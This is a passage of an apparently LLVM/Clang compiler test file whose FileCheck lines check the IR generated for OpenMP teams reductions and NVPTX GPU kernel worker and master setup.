CHECK4-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK4-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK4-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK4-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.4* // CHECK4-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK4-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4:%.*]], %struct._globalized_locals_ty.4* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2048 x i32], [2048 x i32]* [[A]], i32 0, i32 [[TMP5]] // CHECK4-NEXT: [[TMP8:%.*]] = bitcast i32* [[TMP7]] to i8* // CHECK4-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 4 // CHECK4-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK4-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4]], %struct._globalized_locals_ty.4* [[TMP4]], i32 0, i32 1 // CHECK4-NEXT: [[TMP10:%.*]] = getelementptr inbounds [2048 x i16], [2048 x i16]* [[B]], i32 0, i32 [[TMP5]] // CHECK4-NEXT: [[TMP11:%.*]] = bitcast i16* [[TMP10]] to i8* // CHECK4-NEXT: store i8* [[TMP11]], i8** [[TMP9]], align 4 // CHECK4-NEXT: [[TMP12:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK4-NEXT: [[TMP13:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: call void @"_omp$reduction$reduction_func16"(i8* [[TMP12]], i8* [[TMP13]]) #[[ATTR3]] // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_copy_func21 // CHECK4-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK4-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK4-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK4-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.4* // CHECK4-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK4-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to i32* // CHECK4-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4:%.*]], %struct._globalized_locals_ty.4* [[TMP6]], i32 0, i32 0 // CHECK4-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2048 x i32], [2048 x i32]* [[A]], i32 0, i32 [[TMP7]] // CHECK4-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP11]], align 128 // CHECK4-NEXT: store i32 [[TMP12]], i32* [[TMP10]], align 4 // CHECK4-NEXT: [[TMP13:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK4-NEXT: [[TMP14:%.*]] = load i8*, i8** [[TMP13]], align 4 // CHECK4-NEXT: [[TMP15:%.*]] = bitcast i8* [[TMP14]] to i16* // CHECK4-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4]], %struct._globalized_locals_ty.4* [[TMP6]], i32 0, i32 1 // CHECK4-NEXT: [[TMP16:%.*]] = getelementptr inbounds [2048 x i16], [2048 x i16]* [[B]], i32 0, i32 [[TMP7]] // CHECK4-NEXT: [[TMP17:%.*]] = load i16, i16* [[TMP16]], align 128 // CHECK4-NEXT: store i16 [[TMP17]], i16* [[TMP15]], align 2 // CHECK4-NEXT: ret void // CHECK4-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_reduce_func22 // CHECK4-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK4-NEXT: entry: // CHECK4-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK4-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK4-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK4-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK4-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK4-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.4* // CHECK4-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK4-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK4-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4:%.*]], %struct._globalized_locals_ty.4* [[TMP4]], i32 0, i32 0 // CHECK4-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2048 x i32], [2048 x i32]* [[A]], i32 0, i32 [[TMP5]] // CHECK4-NEXT: [[TMP8:%.*]] = bitcast i32* [[TMP7]] to i8* // CHECK4-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 4 // CHECK4-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK4-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4]], %struct._globalized_locals_ty.4* [[TMP4]], i32 0, i32 1 // CHECK4-NEXT: [[TMP10:%.*]] = getelementptr inbounds [2048 x i16], [2048 x i16]* [[B]], i32 0, i32 [[TMP5]] // CHECK4-NEXT: [[TMP11:%.*]] = bitcast i16* [[TMP10]] to i8* // CHECK4-NEXT: store i8* [[TMP11]], i8** [[TMP9]], align 4 // CHECK4-NEXT: [[TMP12:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK4-NEXT: [[TMP13:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK4-NEXT: call void @"_omp$reduction$reduction_func16"(i8* [[TMP13]], i8* [[TMP12]]) #[[ATTR3]] // CHECK4-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l23_worker // CHECK5-SAME: () #[[ATTR0:[0-9]+]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[WORK_FN:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[EXEC_STATUS:%.*]] = alloca i8, align 1 // CHECK5-NEXT: store i8* null, i8** [[WORK_FN]], align 4 // CHECK5-NEXT: store i8 0, i8* [[EXEC_STATUS]], align 1 // CHECK5-NEXT: br label [[DOTAWAIT_WORK:%.*]] // CHECK5: .await.work: // CHECK5-NEXT: call void @__kmpc_barrier_simple_spmd(%struct.ident_t* null, i32 0) // CHECK5-NEXT: [[TMP0:%.*]] = call i1 @__kmpc_kernel_parallel(i8** [[WORK_FN]]) // CHECK5-NEXT: [[TMP1:%.*]] = zext i1 [[TMP0]] to i8 // CHECK5-NEXT: store i8 [[TMP1]], i8* [[EXEC_STATUS]], align 1 // CHECK5-NEXT: [[TMP2:%.*]] = load i8*, i8** [[WORK_FN]], align 4 // CHECK5-NEXT: [[SHOULD_TERMINATE:%.*]] = icmp eq i8* [[TMP2]], null // CHECK5-NEXT: br i1 [[SHOULD_TERMINATE]], label [[DOTEXIT:%.*]], label [[DOTSELECT_WORKERS:%.*]] // CHECK5: .select.workers: // CHECK5-NEXT: [[TMP3:%.*]] = load i8, i8* [[EXEC_STATUS]], align 1 // CHECK5-NEXT: [[IS_ACTIVE:%.*]] = icmp ne i8 [[TMP3]], 0 // CHECK5-NEXT: br i1 [[IS_ACTIVE]], label [[DOTEXECUTE_PARALLEL:%.*]], label [[DOTBARRIER_PARALLEL:%.*]] // CHECK5: .execute.parallel: // CHECK5-NEXT: [[TMP4:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1:[0-9]+]]) // CHECK5-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP2]] to void (i16, i32)* // CHECK5-NEXT: call void [[TMP5]](i16 0, i32 [[TMP4]]) // CHECK5-NEXT: br label [[DOTTERMINATE_PARALLEL:%.*]] // CHECK5: .terminate.parallel: // CHECK5-NEXT: call void @__kmpc_kernel_end_parallel() // CHECK5-NEXT: br label [[DOTBARRIER_PARALLEL]] // CHECK5: .barrier.parallel: // CHECK5-NEXT: call void @__kmpc_barrier_simple_spmd(%struct.ident_t* null, i32 0) // CHECK5-NEXT: br label [[DOTAWAIT_WORK]] // CHECK5: .exit: // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l23 // CHECK5-SAME: (double* nonnull align 8 dereferenceable(8) [[E:%.*]]) #[[ATTR1:[0-9]+]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[E_ADDR:%.*]] = alloca double*, align 4 // CHECK5-NEXT: [[E7:%.*]] = alloca double, align 8 // CHECK5-NEXT: [[DOTZERO_ADDR:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[DOTTHREADID_TEMP_:%.*]] = alloca i32, align 4 // CHECK5-NEXT: store i32 0, i32* [[DOTZERO_ADDR]], align 4 // CHECK5-NEXT: store double* [[E]], double** [[E_ADDR]], align 4 // CHECK5-NEXT: [[TMP0:%.*]] = load double*, double** [[E_ADDR]], align 4 // CHECK5-NEXT: [[NVPTX_TID:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK5-NEXT: [[NVPTX_NUM_THREADS:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK5-NEXT: [[NVPTX_WARP_SIZE:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK5-NEXT: [[THREAD_LIMIT:%.*]] = sub nuw i32 [[NVPTX_NUM_THREADS]], [[NVPTX_WARP_SIZE]] // CHECK5-NEXT: [[TMP1:%.*]] = icmp ult i32 [[NVPTX_TID]], [[THREAD_LIMIT]] // CHECK5-NEXT: br i1 [[TMP1]], label [[DOTWORKER:%.*]], label [[DOTMASTERCHECK:%.*]] // CHECK5: .worker: // CHECK5-NEXT: call void @{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l23_worker() #[[ATTR3:[0-9]+]] // CHECK5-NEXT: br label [[DOTEXIT:%.*]] // CHECK5: .mastercheck: // CHECK5-NEXT: [[NVPTX_TID1:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK5-NEXT: [[NVPTX_NUM_THREADS2:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK5-NEXT: [[NVPTX_WARP_SIZE3:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK5-NEXT: [[TMP2:%.*]] = sub nuw i32 [[NVPTX_WARP_SIZE3]], 1 // CHECK5-NEXT: [[TMP3:%.*]] = sub nuw i32 [[NVPTX_NUM_THREADS2]], 1 // CHECK5-NEXT: [[TMP4:%.*]] = xor i32 [[TMP2]], -1 // CHECK5-NEXT: [[MASTER_TID:%.*]] = and i32 [[TMP3]], [[TMP4]] // CHECK5-NEXT: [[TMP5:%.*]] = icmp eq i32 [[NVPTX_TID1]], [[MASTER_TID]] // CHECK5-NEXT: br i1 [[TMP5]], label [[DOTMASTER:%.*]], label [[DOTEXIT]] // CHECK5: .master: // CHECK5-NEXT: [[NVPTX_NUM_THREADS4:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK5-NEXT: [[NVPTX_WARP_SIZE5:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK5-NEXT: [[THREAD_LIMIT6:%.*]] = sub nuw i32 [[NVPTX_NUM_THREADS4]], [[NVPTX_WARP_SIZE5]] // CHECK5-NEXT: call void @__kmpc_kernel_init(i32 [[THREAD_LIMIT6]], i16 1) // CHECK5-NEXT: call void @__kmpc_data_sharing_init_stack() // CHECK5-NEXT: [[TMP6:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK5-NEXT: [[TMP7:%.*]] = load double, double* [[TMP0]], align 8 // CHECK5-NEXT: store double [[TMP7]], double* [[E7]], align 8 // CHECK5-NEXT: store i32 [[TMP6]], i32* [[DOTTHREADID_TEMP_]], align 4 // CHECK5-NEXT: call void @__omp_outlined__(i32* [[DOTTHREADID_TEMP_]], i32* [[DOTZERO_ADDR]], double* [[E7]]) #[[ATTR3]] // CHECK5-NEXT: br label [[DOTTERMINATION_NOTIFIER:%.*]] // CHECK5: .termination.notifier: // CHECK5-NEXT: call void @__kmpc_kernel_deinit(i16 1) // CHECK5-NEXT: call void @__kmpc_barrier_simple_spmd(%struct.ident_t* null, i32 0) // CHECK5-NEXT: br label [[DOTEXIT]] // CHECK5: .exit: // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@__omp_outlined__ // CHECK5-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], double* nonnull align 8 dereferenceable(8) [[E:%.*]]) #[[ATTR1]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK5-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK5-NEXT: [[E_ADDR:%.*]] = alloca double*, align 4 // CHECK5-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [1 x i8*], align 4 // CHECK5-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK5-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 4 // CHECK5-NEXT: store double* [[E]], double** [[E_ADDR]], align 4 // CHECK5-NEXT: [[TMP0:%.*]] = load double*, double** [[E_ADDR]], align 4 // CHECK5-NEXT: [[TMP1:%.*]] = call i8* @__kmpc_data_sharing_push_stack(i32 8, i16 1) // CHECK5-NEXT: [[TMP2:%.*]] = bitcast i8* [[TMP1]] to %struct._globalized_locals_ty* // CHECK5-NEXT: [[E1:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY:%.*]], %struct._globalized_locals_ty* [[TMP2]], i32 0, i32 0 // CHECK5-NEXT: store double 0.000000e+00, double* [[E1]], align 8 // CHECK5-NEXT: [[TMP3:%.*]] = load double, double* [[E1]], align 8 // CHECK5-NEXT: [[ADD:%.*]] = fadd double [[TMP3]], 5.000000e+00 // CHECK5-NEXT: store double [[ADD]], double* [[E1]], align 8 // CHECK5-NEXT: [[TMP4:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK5-NEXT: [[TMP5:%.*]] = load i32, i32* [[TMP4]], align 4 // CHECK5-NEXT: [[TMP6:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK5-NEXT: [[TMP7:%.*]] = bitcast double* [[E1]] to i8* // CHECK5-NEXT: store i8* [[TMP7]], i8** [[TMP6]], align 4 // CHECK5-NEXT: [[TMP8:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK5-NEXT: [[TMP9:%.*]] = load i8*, i8** @"_openmp_teams_reductions_buffer_$_$ptr", align 4 // CHECK5-NEXT: [[TMP10:%.*]] = call i32 @__kmpc_nvptx_teams_reduce_nowait_v2(%struct.ident_t* @[[GLOB1]], i32 [[TMP5]], i8* [[TMP9]], i32 1024, i8* [[TMP8]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_copy_func, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_reduce_func, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_copy_func, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_reduce_func) // CHECK5-NEXT: [[TMP11:%.*]] = icmp eq i32 [[TMP10]], 1 // CHECK5-NEXT: br i1 [[TMP11]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK5: .omp.reduction.then: // CHECK5-NEXT: [[TMP12:%.*]] = load double, double* [[TMP0]], align 8 // CHECK5-NEXT: [[TMP13:%.*]] = load double, double* [[E1]], align 8 // CHECK5-NEXT: [[ADD2:%.*]] = fadd double [[TMP12]], [[TMP13]] // CHECK5-NEXT: store double [[ADD2]], double* [[TMP0]], align 8 // CHECK5-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP5]]) // CHECK5-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK5: .omp.reduction.done: // CHECK5-NEXT: call void @__kmpc_data_sharing_pop_stack(i8* [[TMP1]]) // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func // CHECK5-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK5-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK5-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK5-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [1 x i8*], align 4 // CHECK5-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca double, align 8 // CHECK5-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK5-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK5-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK5-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK5-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK5-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [1 x i8*]* // CHECK5-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK5-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK5-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK5-NEXT: [[TMP9:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK5-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 4 // CHECK5-NEXT: [[TMP11:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK5-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP10]] to double* // CHECK5-NEXT: [[TMP13:%.*]] = getelementptr double, double* [[TMP12]], i32 1 // CHECK5-NEXT: [[TMP14:%.*]] = bitcast double* [[TMP13]] to i8* // CHECK5-NEXT: [[TMP15:%.*]] = bitcast double* [[TMP12]] to i64* // CHECK5-NEXT: [[TMP16:%.*]] = bitcast double* [[DOTOMP_REDUCTION_ELEMENT]] to i64* // CHECK5-NEXT: [[TMP17:%.*]] = load i64, i64* [[TMP15]], align 8 // CHECK5-NEXT: [[NVPTX_WARP_SIZE:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK5-NEXT: [[TMP18:%.*]] = trunc i32 [[NVPTX_WARP_SIZE]] to i16 // CHECK5-NEXT: [[TMP19:%.*]] = call i64 @__kmpc_shuffle_int64(i64 [[TMP17]], i16 [[TMP7]], i16 [[TMP18]]) // CHECK5-NEXT: store i64 [[TMP19]], i64* [[TMP16]], align 8 // CHECK5-NEXT: [[TMP20:%.*]] = getelementptr i64, i64* [[TMP15]], i32 1 // CHECK5-NEXT: [[TMP21:%.*]] = getelementptr i64, i64* [[TMP16]], i32 1 // CHECK5-NEXT: [[TMP22:%.*]] = bitcast double* [[DOTOMP_REDUCTION_ELEMENT]] to i8* // CHECK5-NEXT: store i8* [[TMP22]], i8** [[TMP11]], align 4 // CHECK5-NEXT: [[TMP23:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK5-NEXT: [[TMP24:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK5-NEXT: [[TMP25:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK5-NEXT: [[TMP26:%.*]] = and i1 [[TMP24]], [[TMP25]] // CHECK5-NEXT: [[TMP27:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK5-NEXT: [[TMP28:%.*]] = and i16 [[TMP6]], 1 // CHECK5-NEXT: [[TMP29:%.*]] = icmp eq i16 [[TMP28]], 0 // CHECK5-NEXT: [[TMP30:%.*]] = and i1 [[TMP27]], [[TMP29]] // CHECK5-NEXT: [[TMP31:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK5-NEXT: [[TMP32:%.*]] = and i1 [[TMP30]], [[TMP31]] // CHECK5-NEXT: [[TMP33:%.*]] = or i1 [[TMP23]], [[TMP26]] // CHECK5-NEXT: [[TMP34:%.*]] = or i1 [[TMP33]], [[TMP32]] // CHECK5-NEXT: br i1 [[TMP34]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK5: then: // CHECK5-NEXT: [[TMP35:%.*]] = bitcast [1 x i8*]* [[TMP5]] to i8* // CHECK5-NEXT: [[TMP36:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK5-NEXT: call void @"_omp$reduction$reduction_func"(i8* [[TMP35]], i8* [[TMP36]]) #[[ATTR3]] // CHECK5-NEXT: br label [[IFCONT:%.*]] // CHECK5: else: // CHECK5-NEXT: br label [[IFCONT]] // CHECK5: ifcont: // CHECK5-NEXT: [[TMP37:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK5-NEXT: [[TMP38:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK5-NEXT: [[TMP39:%.*]] = and i1 [[TMP37]], [[TMP38]] // CHECK5-NEXT: br i1 [[TMP39]], label [[THEN4:%.*]], label [[ELSE5:%.*]] // CHECK5: then4: // CHECK5-NEXT: [[TMP40:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK5-NEXT: [[TMP41:%.*]] = load i8*, i8** [[TMP40]], align 4 // CHECK5-NEXT: [[TMP42:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK5-NEXT: [[TMP43:%.*]] = load i8*, i8** [[TMP42]], align 4 // CHECK5-NEXT: [[TMP44:%.*]] = bitcast i8* [[TMP41]] to double* // CHECK5-NEXT: [[TMP45:%.*]] = bitcast i8* [[TMP43]] to double* // CHECK5-NEXT: [[TMP46:%.*]] = load double, double* [[TMP44]], align 8 // CHECK5-NEXT: store double [[TMP46]], double* [[TMP45]], align 8 // CHECK5-NEXT: br label [[IFCONT6:%.*]] // CHECK5: else5: // CHECK5-NEXT: br label [[IFCONT6]] // CHECK5: ifcont6: // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func // CHECK5-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[DOTCNT_ADDR:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK5-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK5-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[NVPTX_TID:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK5-NEXT: [[NVPTX_TID2:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK5-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[NVPTX_TID2]], 31 // CHECK5-NEXT: [[NVPTX_TID3:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK5-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[NVPTX_TID3]], 5 // CHECK5-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK5-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [1 x i8*]* // CHECK5-NEXT: store i32 0, i32* [[DOTCNT_ADDR]], align 4 // CHECK5-NEXT: br label [[PRECOND:%.*]] // CHECK5: precond: // CHECK5-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTCNT_ADDR]], align 4 // CHECK5-NEXT: [[TMP6:%.*]] = icmp ult i32 [[TMP5]], 2 // CHECK5-NEXT: br i1 [[TMP6]], label [[BODY:%.*]], label [[EXIT:%.*]] // CHECK5: body: // CHECK5-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2:[0-9]+]], i32 [[TMP2]]) // CHECK5-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK5-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK5: then: // CHECK5-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK5-NEXT: [[TMP8:%.*]] = load i8*, i8** [[TMP7]], align 4 // CHECK5-NEXT: [[TMP9:%.*]] = bitcast i8* [[TMP8]] to i32* // CHECK5-NEXT: [[TMP10:%.*]] = getelementptr i32, i32* [[TMP9]], i32 [[TMP5]] // CHECK5-NEXT: [[TMP11:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK5-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP10]], align 4 // CHECK5-NEXT: store volatile i32 [[TMP12]], i32 addrspace(3)* [[TMP11]], align 4 // CHECK5-NEXT: br label [[IFCONT:%.*]] // CHECK5: else: // CHECK5-NEXT: br label [[IFCONT]] // CHECK5: ifcont: // CHECK5-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK5-NEXT: [[TMP13:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP13]] // CHECK5-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN4:%.*]], label [[ELSE5:%.*]] // CHECK5: then4: // CHECK5-NEXT: [[TMP14:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK5-NEXT: [[TMP15:%.*]] = getelementptr inbounds [1 x i8*], [1 